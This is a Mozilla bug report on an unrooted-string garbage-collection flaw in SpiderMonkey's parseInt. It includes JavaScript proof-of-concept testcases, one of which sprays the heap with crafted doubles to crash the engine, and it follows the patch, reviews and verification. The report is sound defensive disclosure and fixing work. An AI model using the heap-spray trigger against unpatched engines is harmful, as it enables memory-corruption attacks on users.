Unrooted access in jsnum.c

VERIFIED FIXED in mozilla1.8rc1

Status

()

Core
JavaScript Engine
P1
critical
VERIFIED FIXED
12 years ago
6 years ago

People

(Reporter: Igor Bukanov, Assigned: brendan)

Tracking

({js1.6, verified1.7.13, verified1.8})

Trunk
mozilla1.8rc1
js1.6, verified1.7.13, verified1.8
Points:
---
Bug Flags:
blocking1.7.13 +
blocking-aviary1.0.8 +
blocking1.8rc1 +
in-testsuite +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:critical?])

Attachments

(2 attachments)

(Reporter)

Description

12 years ago
num_parseInt from jsnum.c does not root "str", the result of js_ValueToString applied to the first argument before calling js_ValueToECMAInt32 on the second argument and using "str" later.

The following example exposes the bug:

var prepared_string = String(1);
String(2); // To remove prepared_string from newborn

var likeString = {
	toString: function() {
		var tmp = prepared_string;
		prepared_string = null;
		return tmp;
	}
};

var likeNumber = {
	valueOf: function() {
		gc();
		return 10;
	}
}

var expected = 1;
var actual = parseInt(likeString, likeNumber);
print("expected="+expected+" actual="+actual);
(Reporter)

Comment 1

12 years ago
Here is a version of the above testcase that crashes shell/browser through subversion double->JSDependantString subversion:

var prepared_string = String(1);
String(2); // To remove prepared_string from newborn

var likeString = {
	toString: function() {
		var tmp = prepared_string;
		prepared_string = null;
		return tmp;
	}
};

ONE = 1.0;

var likeNumber = {
	valueOf: function() {
		if (typeof gc == "function") gc();
		for (var i = 0; i != 40000; ++i) {
			// Populate heap with double value that when 
			// interpreted as JSString would produce a dependant
			// string.
			var tmp = 8.3079035298075175e-263 * ONE;
			tmp = null;
		}
		return 10;
	}
}

var expected = 1;
var actual = parseInt(likeString, likeNumber);
print("expected="+expected+" actual="+actual);
Severity: normal → critical
(Assignee)

Updated

12 years ago
Assignee: general → brendan
Flags: blocking1.8rc1+
Flags: blocking1.7.13+
Flags: blocking-aviary1.0.8+
Keywords: js1.6
OS: Linux → All
Priority: -- → P1
Hardware: PC → All
Target Milestone: --- → mozilla1.8rc1
(Assignee)

Comment 2

12 years ago
Created attachment 200528 [details] [diff] [review]
fix

Reorder to get radix (non-GC'ed primitive type) before computing str.

/be
Attachment #200528 - Flags: superreview?(shaver)
Attachment #200528 - Flags: review?(igor.bukanov)
(Reporter)

Updated

12 years ago
Attachment #200528 - Flags: review?(igor.bukanov) → review+
(Assignee)

Comment 3

12 years ago
Comment on attachment 200528 [details] [diff] [review]
fix

Checked in on the trunk, nominating patch for branch approval tomorrow.

/be
Attachment #200528 - Flags: approval1.8rc1?
(Assignee)

Comment 4

12 years ago
Fixed on the trunk.

/be

Comment 5

12 years ago
Code freeze for 1.5 RC1 is tonight at midnight. 
(Assignee)

Comment 6

12 years ago
Asa: you'll have to approve this by then, and someone will have to check it in.  I'm not free much today, and shaver hasn't "sr'd" (JS doesn't have super-review, but we're trying to be careful).  Your call.

/be
(Reporter)

Comment 7

12 years ago
(In reply to comment #5)
> Code freeze for 1.5 RC1 is tonight at midnight. 
> 

BTW, would these bugs be visible in RC1 change logs? I would prefer NOBODY gets even slightest hint about their existence until 1.0.8 or even later since they may get hints how to look for exploits. They were quite dormant for long time and it would be better to open the box at least in an apparently sealed bunker ;).
Comment on attachment 200528 [details] [diff] [review]
fix

sr=shaver
Attachment #200528 - Flags: superreview?(shaver) → superreview+

Comment 9

12 years ago
Comment on attachment 200528 [details] [diff] [review]
fix

Approving since it is r and sr'd and already discussed at triage meeting today.

Shaver or Igor any way you can land if Brendan can't?
Attachment #200528 - Flags: approval1.8rc1? → approval1.8rc1+

Comment 10

12 years ago
I landed this on the branch. It's already in the trunk so I'm going to resolve this as fixed.
Status: NEW → RESOLVED
Last Resolved: 12 years ago
Keywords: fixed1.8
Resolution: --- → FIXED

Comment 11

12 years ago
Created attachment 200580 [details]
js1_5/Regress/regress-313479.js

Updated

12 years ago
Flags: testcase?
(In reply to comment #7)
> BTW, would these bugs be visible in RC1 change logs? I would prefer NOBODY gets
> even slightest hint about their existence until 1.0.8 or even later since they
> may get hints how to look for exploits.

Unfortunately they are, but hopefully cryptic enough (weekend changes):
http://bonsai.mozilla.org/cvsquery.cgi?treeid=default&module=all&branch=MOZILLA_1_8_BRANCH&branchtype=match&dir=mozilla%2Fjs&file=&filetype=match&who=&whotype=match&sortby=Date&hours=2&date=explicit&mindate=2005-10-22&maxdate=2005-10-24&cvsroot=%2Fcvsroot

If you're not specifically looking for js changes (or watching brendan) you'd have to find them in this (same time range):
http://bonsai.mozilla.org/cvsquery.cgi?treeid=default&module=all&branch=MOZILLA_1_8_BRANCH&branchtype=match&dir=&file=&filetype=match&who=&whotype=match&sortby=Date&hours=2&date=explicit&mindate=2005-10-22&maxdate=2005-10-24&cvsroot=%2Fcvsroot

but the buglinks will go to inaccessible bugs, so it wouldn't be rocket science if someone's actively probing for unpatched (in 1.0) security holes. Things are worse when we do prepare a 1.0.8 (soon): that branch is all security fixes so these will be easier to notice, and many non-browser projects rely on the spidermonkey engine and won't be able to upgrade immediately. Worse, we don't necessarily know who they all are to give them a warning this is coming.
Whiteboard: [sg:critical?]

Comment 13

12 years ago
on winxp,

1.8b5_2005102412: pass

1.9a1_2005102413: fail

STATUS: Root access in jsnum.c
STATUS: expect=1 actual=NaN
Failure messages were:
FAILED!: Root access in jsnum.c
FAILED!: Expected value '1', Actual value 'NaN' 

Comment 14

12 years ago
(In reply to comment #13)
ignore this. I can't reproduce with fresh builds.

Comment 15

12 years ago
verified firefox 1.5 rc2 linux/win32 2005-11-07
Keywords: fixed1.8 → verified1.8

Comment 16

12 years ago
testcase+ to get this off my radar. when this is made public, i will check in the test.
Flags: testcase? → testcase+
Fix checked into the 1.7 branches.
Keywords: fixed-aviary1.0.8, fixed1.7.13

Comment 18

11 years ago
verified firefox/1.7.13,1.8.0.1,1.8,1.9a1 win/linux/mac
Status: RESOLVED → VERIFIED
Keywords: fixed-aviary1.0.8 → verified-aviary1.0.8

Comment 19

11 years ago
v ff on 1.7.13, 1.8.0.1, 1.8, 1.9a1 windows/linux/mac 20060221 builds, moz on 1.7.13 windows 20060221 build.
Keywords: fixed1.7.13 → verified1.7.13
Group: security

Comment 20

11 years ago
RCS file: /cvsroot/mozilla/js/tests/js1_5/GC/regress-313479.js,v
done
Checking in regress-313479.js;
/cvsroot/mozilla/js/tests/js1_5/GC/regress-313479.js,v  <--  regress-313479.js
initial revision: 1.1
done
You need to log in before you can comment on or make changes to this bug.